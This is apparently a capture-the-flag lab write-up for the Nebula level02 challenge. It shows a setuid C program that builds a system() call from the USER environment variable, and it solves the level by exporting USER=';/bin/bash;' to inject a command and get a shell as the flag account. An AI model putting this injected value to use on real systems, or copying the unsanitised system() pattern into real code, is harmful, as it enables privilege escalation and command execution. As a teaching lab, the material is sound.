There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it? To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}

Getting the flag

We can see in the source code above that the program is using the USER global variable and used it as an input.

As before, the binary is in the /home/flag02/ directory.

level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo  is cool")
is cool

level02@nebula:/home/flag02$ getflag 
getflag is executing on a non-flag account, this doesn't count

Let’s play with the USER variable to get the flag:

level02@nebula:/home/flag02$ export USER=';/bin/bash;'

level02@nebula:/home/flag02$ ./flag02 

about to call system("/bin/echo ;/bin/bash; is cool")

flag02@nebula:/home/flag02$ getflag
You have successfully executed getflag on a target account

We are using the ; symbol to interrupt the execution flow of the application and instead of echoing the initial string the program will execute /bin/bash